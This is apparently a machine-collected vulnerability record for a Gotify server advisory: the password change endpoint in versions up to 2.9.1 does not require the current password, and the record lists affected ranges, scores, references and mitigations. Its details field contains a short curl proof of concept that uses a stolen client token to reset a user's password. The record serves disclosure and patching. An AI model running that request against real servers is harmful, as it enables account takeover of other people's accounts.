{"schema":"threatline.record/2","record":{"id":"CVE-2026-102603","aliases":["GHSA-3hcj-9m7p-wwm9","GO-2026-6772"],"summary":"Gotify: Insufficiently Protected Password Change endpoint","details":"The password change endpoint (`POST /current/user/password`) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.\n\n## PoC\n\n```bash\n# Attacker has obtained a client token\n# No prior password knowledge required\nSTOLEN_TOKEN=\"Cxxxxxxxxxx\"\n\ncurl -X POST \"http://gotify-host/current/user/password?token=${STOLEN_TOKEN}\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"pass\":\"attacker_controls_this\"}'\n# Expected response:\n# HTTP/1.1 200 OK\n```\n\n## Mitigation\n\n- Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the  password now requires re-authenticating with the account password, or\n- Restrict access to the state-changing endpoints under `/user` and  `/current/user` to trusted networks.","categories":["Libraries & packages"],"product":"github.com/gotify/server/v2","vendor":"gotify","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-3hcj-9m7p-wwm9","source_modified_at":"2026-10-15T20:15:40Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/gotify/server/v2"},"range":"<= 2.9.1"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-3hcj-9m7p-wwm9","source_modified_at":"2026-10-15T20:15:40Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/gotify/server/v3"},"range":"< 3.0.0"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-102603","source_modified_at":"2026-10-14T14:45:36.133Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"server","vendor":"gotify","versions":[{"version":"< 3.0.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-3hcj-9m7p-wwm9","source_modified_at":"2026-10-19T21:41:12.735924686Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"github.com/gotify/server/v2","ecosystem":"Go","purl":"pkg:golang/github.com/gotify/server/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"2.9.1"}]}],"versions":[]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-3hcj-9m7p-wwm9","source_modified_at":"2026-10-19T21:41:12.735924686Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"github.com/gotify/server/v3","ecosystem":"Go","purl":"pkg:golang/github.com/gotify/server/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.0"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-3hcj-9m7p-wwm9","source_modified_at":"2026-10-15T20:15:40Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"github.com/gotify/server/v3"},"version":"3.0.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-3hcj-9m7p-wwm9","source_modified_at":"2026-10-19T21:41:12.735924686Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"github.com/gotify/server/v3","ecosystem":"Go","purl":"pkg:golang/github.com/gotify/server/v3"},"version":"3.0.0"}],"cvss":5.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00335,"percentile":0.25678,"score_date":"2026-10-23"},"published_at":"2026-10-13T14:21:20.867Z","modified_at":"2026-10-19T21:41:12.735924686Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-3hcj-9m7p-wwm9","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-15T20:15:40Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-102603","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-14T14:45:36.133Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-3hcj-9m7p-wwm9","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-19T21:41:12.735924686Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102603","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/gotify/server/security/advisories/GHSA-3hcj-9m7p-wwm9","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102603","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/gotify/server/pull/952","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/gotify/server/commit/a8744482c668e07a61798573ec8e17bd3f6009f9","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/gotify/server/releases/tag/v3.0.0","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-3hcj-9m7p-wwm9","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"none","automatable":"no","technical_impact":"partial","assessed_at":"2026-10-14T14:43:27.030912Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-19T21:41:12.735924686Z","content_hash":"64db30a9fb234783f1dad3b2f5f6de00dfe70d00b7ae583caa26419686a5daab"}}